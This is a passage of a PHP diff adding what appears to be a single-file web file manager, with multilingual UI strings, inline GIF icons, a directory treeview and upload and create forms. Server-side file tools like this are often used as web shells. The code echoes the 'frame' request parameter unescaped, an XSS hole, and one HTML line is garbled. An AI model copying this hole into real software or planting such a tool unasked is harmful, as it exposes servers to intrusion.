$words['uploaded'] = '1 wurde nach 2 hochgeladen.'; $words['notuploaded'] = '1 konnte nicht nach 2 hochgeladen werden.'; + $words['moved'] = '1 wurde nach 2 verschoben.'; $words['notmoved'] = '1 konnte nicht nach 2 verschoben werden.'; + $words['copied'] = '1 wurde nach 2 kopiert.'; $words['notcopied'] = '1 konnte nicht nach 2 kopiert werden.'; + $words['created'] = '1 wurde erstellt.'; $words['notcreated'] = '1 konnte nicht erstellt werden.'; + $words['deleted'] = '1 wurde gel&ouml;scht.'; $words['notdeleted'] = '1 konnte nicht gel&ouml;scht werden.'; $words['suredelete'] = '1 wirklich l&ouml;schen?'; + $words['saved'] = '1 wurde gespeichert.'; $words['notsaved'] = '1 konnte nicht gespeichert werden.'; + $words['reset'] = 'zur&uuml;cksetzen'; $words['clear'] = 'verwerfen'; $words['save'] = 'speichern'; + $words['cantbeshown'] = '1 kann nicht angezeigt werden.'; $words['sourceof'] = 'Quelltext von 1'; + $words['notopened'] = '1 konnte nicht ge&ouml;ffnet werden.'; + $words['addauth'] = 'Standard-Authentifizierungseinstellungen hinzuf&uuml;gen'; + $words['username'] = 'Benutzername'; $words['password'] = 'Kennwort'; $words['add'] = 'hinzuf&uuml;gen'; + $words['treeon'] = 'Baumansicht aktivieren'; $words['treeoff'] = 'Baumansicht deaktivieren'; + $words['symlink'] = 'Symbolischer Link'; $words['createsymlink'] = 'Link erstellen'; $words['target'] = 'Ziel'; + $words['reltarget'] = 'Relative Pfadangabe des Ziels'; + $words['alreadyexists'] = 'Die Datei existiert bereits.'; + $words['overwrite'] = 'Soll 1 &uuml;berschrieben werden?'; + $words['samefiles'] = '1 und 2 sind identisch.'; + break; + case 'cz': + $words['dir'] = 'Adres&#xE1;&#x0159;'; $words['file'] = 'Soubor'; + $words['filename'] = 'Jm&#xE9;no souboru'; $words['size'] = 'Velikost'; $words['permission'] = 'Pr&#xE1;va'; $words['functions'] = 'Functions'; + $words['owner'] = 'Vlastn&#xED;k'; $words['group'] = 'Skupina'; $words['other'] = 'Ostatn&#xED;'; + $words['create'] = 'vytvo&#x0159;it'; $words['copy'] = 'kop&#xED;rovat'; $words['copyto'] = 'kop&#xED;rovat do'; $words['move'] = 'p&#x0159;esunout'; $words['moveto'] = 'p&#x0159;esunout do'; $words['delete'] = 'odstranit'; $words['edit'] = '&#xFA;pravy'; + $words['read'] = '&#x010D;ten&#xED;'; $words['write'] = 'z&#xE1;pis'; $words['exec'] = 'spu&#x0161;t&#x011B;n&#xED;'; $words['change'] = 'zm&#x011B;nit'; $words['upload'] = 'nahr&#xE1;t'; $words['configure'] = 'nastaven&#xED;'; + $words['yes'] = 'ano'; $words['no'] = 'ne'; + $words['back'] = 'zp&#xE1;tky'; $words['setperms'] = 'nastav pr&#xE1;va'; + $words['readingerror'] = 'Chyba p&#x0159;i &#x010D;ten&#xED; 1'; + $words['permsset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 byla nastavena na 2.'; $words['permsnotset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 nelze nastavit na 2.'; + $words['uploaded'] = 'Soubor 1 byl ulo&#x017E;en do adres&#xE1;&#x0159;e 2.'; $words['notuploaded'] = 'Chyba p&#x0159;i ukl&#xE1;d&#xE1;n&#xED; souboru 1 do adres&#xE1;&#x0159;e 2.'; + $words['moved'] = 'Soubor 1 byl p&#x0159;esunut do adres&#xE1;&#x0159;e 2.'; $words['notmoved'] = 'Soubor 1 nelze p&#x0159;esunout do adres&#xE1;&#x0159;e 2.'; + $words['copied'] = 'Soubor 1 byl zkop&#xED;rov&#xE1;n do adres&#xE1;&#x0159;e 2.'; $words['notcopied'] = 'Soubor 1 nelze zkop&#xED;rovat do adres&#xE1;&#x0159;e 2.'; + $words['created'] = '1 byl vytvo&#x0159;en.'; $words['notcreated'] = '1 nelze vytvo&#x0159;it.'; + $words['deleted'] = '1 byl vymaz&#xE1;n.'; $words['notdeleted'] = '1 nelze vymazat.'; $words['suredelete'] = 'Skute&#x010D;n&#x011B; smazat 1?'; + $words['saved'] = 'Soubor 1 byl ulo&#x017E;en.'; $words['notsaved'] = 'Soubor 1 nelze ulo&#x017E;it.'; + $words['reset'] = 'zp&#x011B;t'; $words['clear'] = 'vy&#x010D;istit'; $words['save'] = 'ulo&#x017E;'; + $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1'; + $words['notopened'] = "1 nelze otev&#x0159;&#xED;t"; + $words['addauth'] = 'p&#x0159;idat z&#xE1;kladn&#xED;-authentifikaci'; + $words['username'] = 'U&#x017E;ivatelsk&#xE9; jm&#xE9;no'; $words['password'] = 'Heslo'; $words['add'] = 'p&#x0159;idat'; + $words['treeon'] = 'Zobraz strom adres&#xE1;&#x0159;&#x016F;'; $words['treeoff'] = 'Skryj strom adres&#xE1;&#x0159;&#x016F;'; + $words['symlink'] = 'Symbolick&#xFD; odkaz'; $words['createsymlink'] = 'vytvo&#x0159;it odkaz'; $words['target'] = 'C&#xED;l'; + $words['reltarget'] = 'Relativni cesta k c&#xED;li'; + $words['alreadyexists'] = 'Tento soubor u&#x017E; existuje.'; + $words['overwrite'] = 'P&#x0159;epsat 1?'; + $words['samefiles'] = '1 a 2 jsou identick&#xE9;l.'; + break; + case 'it': + $words['dir'] = 'Directory'; $words['file'] = 'File'; + $words['filename'] = 'Nome file'; $words['size'] = 'Dimensioni'; $words['permission'] = 'Permessi'; $words['functions'] = 'Funzioni'; + $words['owner'] = 'Proprietario'; $words['group'] = 'Gruppo'; $words['other'] = 'Altro'; + $words['create'] = 'crea'; $words['copy'] = 'copia'; $words['copyto'] = 'copia su'; $words['move'] = 'muovi'; $words['moveto'] = 'muove su'; $words['delete'] = 'delete'; $words['edit'] = 'edit'; + $words['read'] = 'leggi'; $words['write'] = 'scrivi'; $words['exec'] = 'esegui'; $words['change'] = 'modifica'; $words['upload'] = 'upload'; $words['configure'] = 'configura'; + $words['yes'] = 'si'; $words['no'] = 'no'; + $words['back'] = 'back'; $words['setperms'] = 'imposta permessi'; + $words['readingerror'] = 'Errore durante la lettura di 1'; + $words['permsset'] = 'I permessi di 1 sono stati impostati a 2.'; $words['permsnotset'] = 'I permessi di 1 non possono essere impostati.'; + $words['uploaded'] = '1 � stato uploadato su 2.'; $words['notuploaded'] = 'Errore durante l\'upload di 1 su 2.'; + $words['moved'] = '1 � stato spostato su 2.'; $words['notmoved'] = '1 non pu� essere spostato su 2.'; + $words['copied'] = '1 � stato copiato su 2.'; $words['notcopied'] = '1 non pu� essere copiato su 2.'; + $words['created'] = '1 � stato creato.'; $words['notcreated'] = 'impossibile creare 1.'; + $words['deleted'] = '1 � stato eliminato.'; $words['notdeleted'] = 'Impossibile eliminare 1.'; $words['suredelete'] = 'Confermi eliminazione di 1?'; + $words['saved'] = '1 � stato salvato.'; $words['notsaved'] = 'Impossibile salvare 1.'; + $words['reset'] = 'reimposta'; $words['clear'] = 'pulisci'; $words['save'] = 'salva'; + $words['cantbeshown'] = "Impossibile visualizzare 1."; $words['sourceof'] = 'sorgente di 1'; + $words['notopened'] = "Impossibile aprire 1"; + $words['addauth'] = 'aggiunge autenticazione di base'; + $words['username'] = 'Nome Utente'; $words['password'] = 'Password'; $words['add'] = 'add'; + $words['treeon'] = 'Abilita vista ad albero'; $words['treeoff'] = 'Disabilita vista ad albero'; + $words['symlink'] = 'Link simbolico'; $words['createsymlink'] = 'crea symlink'; $words['target'] = 'Target'; + $words['reltarget'] = 'Percorso relativo al target'; + $words['alreadyexists'] = 'Questo file esiste gi�.'; + $words['overwrite'] = 'Sovrascrivi 1?'; + $words['samefiles'] = '1 e 2 sono identici.'; + break; + case 'en': + default: + $words['dir'] = 'Directory'; $words['file'] = 'File'; + $words['filename'] = 'Filename'; $words['size'] = 'Size'; $words['permission'] = 'Permission'; $words['functions'] = 'Functions'; + $words['owner'] = 'Owner'; $words['group'] = 'Group'; $words['other'] = 'Other'; + $words['create'] = 'create'; $words['copy'] = 'copy'; $words['copyto'] = 'copy to'; $words['move'] = 'move'; $words['moveto'] = 'move to'; $words['delete'] = 'delete'; $words['edit'] = 'edit'; + $words['read'] = 'read'; $words['write'] = 'write'; $words['exec'] = 'execute'; $words['change'] = 'change'; $words['upload'] = 'upload'; $words['configure'] = 'configure'; + $words['yes'] = 'yes'; $words['no'] = 'no'; + $words['back'] = 'back'; $words['setperms'] = 'set permission'; + $words['readingerror'] = 'Error during read of 1'; + $words['permsset'] = 'The permission of 1 were set to 2.'; $words['permsnotset'] = 'The permission of 1 could not be set.'; + $words['uploaded'] = '1 has been uploaded to 2.'; $words['notuploaded'] = 'Error during upload of 1 to 2.'; + $words['moved'] = '1 has been moved to 2.'; $words['notmoved'] = '1 could not be moved to 2.'; + $words['copied'] = '1 has been copied to 2.'; $words['notcopied'] = '1 could not be copied to 2.'; + $words['created'] = '1 has been created.'; $words['notcreated'] = '1 could not be created.'; + $words['deleted'] = '1 has been deleted.'; $words['notdeleted'] = '1 could not be deleted.'; $words['suredelete'] = 'Really delete 1?'; + $words['saved'] = '1 has been saved.'; $words['notsaved'] = '1 could not be saved.'; + $words['reset'] = 'reset'; $words['clear'] = 'clear'; $words['save'] = 'save'; + $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1'; + $words['notopened'] = "1 couldn't be opened"; + $words['addauth'] = 'add basic-authentification'; + $words['username'] = 'Username'; $words['password'] = 'Password'; $words['add'] = 'add'; + $words['treeon'] = 'Enable treeview'; $words['treeoff'] = 'Disable treeview'; + $words['symlink'] = 'Symbolic link'; $words['createsymlink'] = 'create link'; $words['target'] = 'Target'; + $words['reltarget'] = 'Relative path to target'; + $words['alreadyexists'] = 'This file already exists.'; + $words['overwrite'] = 'Overwrite 1?'; + $words['samefiles'] = '1 and 2 are identical.'; + } + return $words; +} + +function getimage ($iid) { + $image = 'GIF89a'; + switch ($iid) { + case 1: $image .= "\23\0\22\0\242\4\0\0\0\0\377\377\377\314\314\314\231\231\231\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\23\0\22\0\0\3?H\272\334N \312\327@\270\30P%\273\237\213\205\215\244\240q\201\240\256\254:\234P\332\316o(\317l\215\342\255\36\363\71\230\5\270\362\15\211\2cr\300l:\231\60\310g\272\251Z\257\330l5\1\0;\0"; break; + case 2: $image .= "\23\0\22\0\221\2\0\0\0\0\314\314\314\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\23\0\22\0\0\2\64\224\217\251\2\355\233@\230\24@#\251v\357d\15V^H\6\26fr\352\312\230ehI\337;\305\63}6\364\206\356\365\350\63!V\304\323\345\210L*\227\220\2\0;\0"; break; + case 3: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\32\214o\200\313\355\255\236\234,\322+-\336K\363\357}[(^d9\235hP\0\0;\0"; break; + case 4: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234\217\251\313\355\17\15\230\224:\20\262\16\340j\241u\15\226\201\231\310\140\302\272rC\207\36d\140\272\343\27z\333yUU\4\14\12\207DF\1\0;\0"; break; + case 5: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2*\234\217\251\313\355\17\15\230\224:\20\262\16\340n\335\65\330\307y\302y\226]\210\214\37\273\270\33\254\310\340UU\321\316\367\376\317(\0\0;\0"; break; + case 6: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\33\214o\200\313\355\255\236\234,\322+-\336K\371\360q\224\46rd\211\235\350\270\76\5\0;\0"; break; + case 7: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2\60\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\206\204\304a\221R\0\0;\0"; break; + case 8: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\5\207B\42\245\0\0;\0"; break; + case 9: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\30\214o\200\313\355\255\236\234,\322+-\336K\371\360q\342H\226\346\211r\5\0;\0"; break; + case 10: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\12\207\304\242\260\0\0;\0"; break; + case 11: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\12\207\304\140\1\0;\0"; break; + case 12: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break; + case 13: $image .= "\21\0\15\0\221\3\0\314\0\0\377\377\377\231\231\231\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break; + case 14: $image .= "\21\0\15\0\242\4\0\231\231\231\377\377\377\0\0\0\314\0\0\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\21\0\15\0\0\3\71H\12\334\254\60\202@\353\213p\212-\302\4\330RYM8\15\3\305y\46\205\216,\204\316s\260\305\12M\217 6\5/[\247\47\1\246\140\304\314\210\63l\301,\46\207\224\230\0\0;\0"; break; + case 15: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\314\314\314\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2*\234\217\231\300\254\33b\4\317\264\213\235\225\274\13:\0\201@\226\46\11\212\347\372m\354\231\216o\31\317\264k\267a\216\36\331o(\0\0;\0"; break; + case 16: $image .= "\21\0\15\0\221\2\0\0\0\0\377\377\0\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\21\0\15\0\0\2,\224\217\251\2\355\260\14\10\263\322\65\203\336\32\246\7\66_\325P\245x\224\34\207J\344vzi\7wJf\342\62\202\263\21\23\372\11\17\5\0;\0"; break; + case 0: + default: $image .= "\23\0\22\0\200\1\0\0\0\0\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\20\214\217\251\313\355\17\243\234\264\332\213\263\336\274\327\2\0;\0"; break; + } + return $image; +} + +function tree_hassubdirs ($path) { + if ($p = @opendir($path)) { + while (($filename = readdir($p)) !== FALSE) { + if (tree_isrealdir($path . $filename)) return TRUE; + } + } + return FALSE; +} + +function tree_isrealdir ($path) { + if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE; +} + +function treeview () { + global $self, $treeroot; + if (isset($_GET['plus'])) tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']); + if (isset($_GET['minus'])) $dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE; + for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d)); +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> +<html> +<head> + <title>Treeview</title> + <style type="text/css"> + <!-- + td { font-family: sans-serif; font-size: 10pt; } + a:link, a:visited, a:active { text-decoration: none; color: #000088; } + a:hover { text-decoration: underline; color: #000088; } + --> + </style> +</head> +<body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" '$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>> + <table border="0" cellspacing="0" cellpadding="0"> +<?php + tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0)); +?> + </table> +</body> +</html> +<?php + return; +} + +function frameset () { + global $self; +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN"> +<html> +<head> + <title><?php echo($self); ?></title> +</head> +<frameset cols="250,*"> + <frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview"> + <frame src="<?php echo("$self?" . SID); ?>" name="webadmin"> +</frameset> +</html> +<?php + return; +} + +function tree_calculatenumcols ($tree, $path, $col) { + static $numcols = 0; + if ($col > $numcols) $numcols = $col; + if (isset($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1); + } + } + return $numcols; +} + +function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) { + global $self, $treeroot; + static $islast = array(0 => TRUE); + echo(" <tr>\n"); + for ($i = 0; $i < $col; $i++) { + if ($islast[$i]) $iid = 0; else $iid = 3; + echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n"); + } + if ($hassubdirs[$path]) { + if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; } + if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3; + echo(" <td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">'); + echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">"); + echo("</a></td>\n"); + } else { + if ($islast[$col]) $iid = 9; else $iid = 6; + echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n"); + } + if (@is_readable($path)) { + $a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">'; + $a2 = '</a>'; + } else { + $a1 = $a2 = ''; + } + if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1; + echo(" <td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n"); + $cspan = $numcols - $col + 1; + if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = ''; + if ($col == $numcols) $width = ' width="100%"'; else $width = ''; + echo(" <td$width$colspan nowrap>&nbsp;"); + if ($path == $treeroot) $label = $path; else $label = basename($path); + echo($a1 . htmlentities($label) . $a2); + echo("</td>\n"); + echo(" </tr>\n"); + if (!empty($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE; + tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols); + } + } + return; +} + +function tree_plus (&$tree, &$hassubdirs, $p) { + if ($path = spath(realpath($p))) { + $tree[$path] = tree_getsubdirs($path); + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $subdir = $path . $tree[$path][$i]; + if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir); + } + } + return; +} + +function tree_minus (&$tree, &$hassubdirs, $p) { + $dirchanged = FALSE; + if ($path = spath(realpath($p))) { + if (!empty($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $subdir = $path . $tree[$path][$i] . '/'; + if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL; + } + $tree[$path] = NULL; + if (substr($_SESSION['dir'], 0, strlen($path)) == $path) { + $_SESSION['dir'] = $path; + $dirchanged = TRUE; + } + } + } + return $dirchanged; +} + +function tree_getsubdirs ($path) { + $subdirs = array(); + if ($p = @opendir($path)) { + for ($i = 0; ($filename = readdir($p)) !== FALSE;) { + if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/'; + } + } + sort($subdirs); + return $subdirs; +} + +function show ($file) { + global $words; + if (@is_readable($file) && @is_file($file)) { + header('Content-Disposition: filename=' . basename($file)); + header('Content-Type: ' . getmimetype($file)); + if (@readfile($file) !== FALSE) return TRUE; + } + return FALSE; +} + +function show_highlight ($file) { + global $words; + if (@is_readable($file) && @is_file($file)) { + header('Content-Disposition: filename=' . basename($file)); + echo("<html>\n<head><title>"); + echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof'])); + echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n"); + $size = sizeof(file($file)); + for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i); + echo("</code>\n</td>\n<td nowrap>\n"); + $shown = @highlight_file($file); + echo("\n"); + echo("</td>\n</tr>\n</table>\n"); + echo("</body>\n"); + echo("</html>"); + if ($shown) return TRUE; + } + return FALSE; +} + +function getmimetype ($file) { + /* $mime = 'application/octet-stream'; */ + $mime = 'text/plain'; + $ext = substr($file, strrpos($file, '.') + 1); + if (@is_readable('/etc/mime.types')) { + $f = fopen('/etc/mime.types', 'r'); + while (!feof($f)) { + $line = fgets($f, 4096); + $found = FALSE; + $mim = strtok($line," \n\t"); + $ex = strtok(" \n\t"); + while ($ex && !$found) { + if (strtolower($ex) == strtolower($ext)) { + $found = TRUE; + $mime = $mim; + break; + } + $ex = strtok(" \n\t"); + } + if ($found) break; + } + fclose($f); + } + return $mime; +} + +function dirlisting ($inaframe = FALSE) { + global $self, $homedir, $words; + global $error, $notice; + $p = '&' . SID; + html_header($_SESSION['dir']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td> + <td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php if (@is_writable($_SESSION['dir'])) { ?> + <form action="<?php echo($self); ?>" method="post" enctype="multipart/form-data"> + <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> +<?php if (isset($_REQUEST['frame'])) { ?> + <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>"> +<?php } ?> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo($words['file']); ?>&nbsp;</td> + <td><input type="file" name="upload">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['upload']); ?>"></td> + </tr> + </table> + </td> + </tr> + <tr> + <td bgcolor="#EEEEEE"> + </form> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> +<?php if (isset($_REQUEST['frame'])) { ?> + <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>"> +<?php } ?> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td> + <select name="type" size="1"> + <option value="file"><?php echo($words['file']); ?> + + <option value="dir" selected><?php echo($words['dir']); ?> + + </select>&nbsp; + </td> + <td><input type="text" name="create">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['create']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + } + if (empty($_GET['sort'])) $sort = 'filename'; else $sort = $_GET['sort']; + $reverse = @$_GET['reverse']; + $GLOBALS['showsize'] = FALSE; + if ($files = dirtoarray($_SESSION['dir'])) { + $files = sortfiles($files, $sort, $reverse); + outputdirlisting($_SESSION['dir'], $files, $inaframe, $sort, $reverse); + } else { + perror(buildphrase('&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot', $words['readingerror'])); + } + if ($inaframe) { + pnotice("<a href=\"$self?action=treeoff&" . SID . '" target="_top">' . $words['treeoff'] . '</a>'); + } else { + pnotice("<a href=\"$self?action=treeon&" . SID . '" target="_top">' . $words['treeon'] . '</a>'); + } + html_footer(FALSE); + return; +} + +function dirtoarray ($dir) { + if ($dirstream = @opendir($dir)) { + for ($n = 0; ($filename = readdir($dirstream)) !== FALSE; $n++) { + $stat = @lstat($dir . $filename); + $files[$n]['filename'] = $filename; + $files[$n]['fullfilename'] = $fullfilename = relpathtoabspath($filename, $dir); + $files[$n]['is_file'] = @is_file($fullfilename); + $files[$n]['is_dir'] = @is_dir($fullfilename); + $files[$n]['is_link'] = $islink = @is_link($dir . $filename); + if ($islink) { + $files[$n]['readlink'] = @readlink($dir . $filename); + $files[$n]['linkinfo'] = linkinfo($dir . $filename); + } + $files[$n]['is_readable'] = @is_readable($fullfilename); + $files[$n]['is_writable'] = @is_writable($fullfilename); + $files[$n]['is_executable'] = @is_executable($fullfilename); + $files[$n]['permission'] = $islink ? 'lrwxrwxrwx' : octtostr(@fileperms($dir . $filename)); + if (substr($files[$n]['permission'], 0, 1) != '-') { + $files[$n]['size'] = -1; + } else { + $files[$n]['size'] = @$stat['size']; + $GLOBALS['showsize'] = TRUE; + } + $files[$n]['owner'] = $owner = @$stat['uid']; + $files[$n]['group'] = $group = @$stat['gid']; + $files[$n]['ownername'] = @reset(posix_getpwuid($owner)); + $files[$n]['groupname'] = @reset(posix_getgrgid($group)); + } + closedir($dirstream); + return $files; + } else { + return FALSE; + } +} + +function outputdirlisting ($dir, $files, $inaframe, $sort, $reverse) { + global $self, $words; + $uid = posix_getuid(); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> +<?php + if ($inaframe) $p = '&notreeupdate=TRUE&'; $p = ''; $p .= SID . '&dir=' . urlencode($dir); + echo(" <tr>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><img src=\"$self?imageid=16\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=filename&reverse=" . (($sort == 'filename') ? !$reverse : 0) . "&$p\"><b>{$words['filename']}</b></a></td>\n"); + if ($GLOBALS['showsize']) echo(" <td bgcolor=\"#EEEEEE\" align=\"right\"><a href=\"$self?sort=size&reverse=" . (($sort == 'size') ? !$reverse : 0) . "&$p\"><b>{$words['size']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=permission&reverse=" . (($sort == 'permission') ? !$reverse : 0) . "&$p\"><b>{$words['permission']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=owner&reverse=" . (($sort == 'owner') ? !$reverse : 0) . "&$p\"><b>{$words['owner']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=group&reverse=" . (($sort == 'group') ? !$reverse : 0) . "&$p\"><b>{$words['group']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><b>{$words['functions']}</b></td>\n"); + echo(" </tr>\n"); + $p = '&' . SID; + if ($GLOBALS['showsize']) $cspan = ' colspan="2"'; else $cspan = ''; + foreach ($files as $file) { + echo(" <tr>\n"); + if ($file['is_link']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=14\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td$cspan bgcolor=\"#FFFFFF\">"); + if ($file['is_dir']) echo('[ '); + echo($file['filename']); + if ($file['is_dir']) echo(' ]'); + echo(' -&gt; '); + if ($file['is_dir']) { + echo('[ '); + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['readlink']) . "$p\">"); + echo(htmlentities($file['readlink'])); + if ($file['is_readable']) echo('</a>'); + echo(' ]'); + } else { + if (dirname($file['readlink']) != '.') { + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode(dirname($file['readlink'])) . "$p\">"); + echo(htmlentities(dirname($file['readlink'])) . '/'); + if 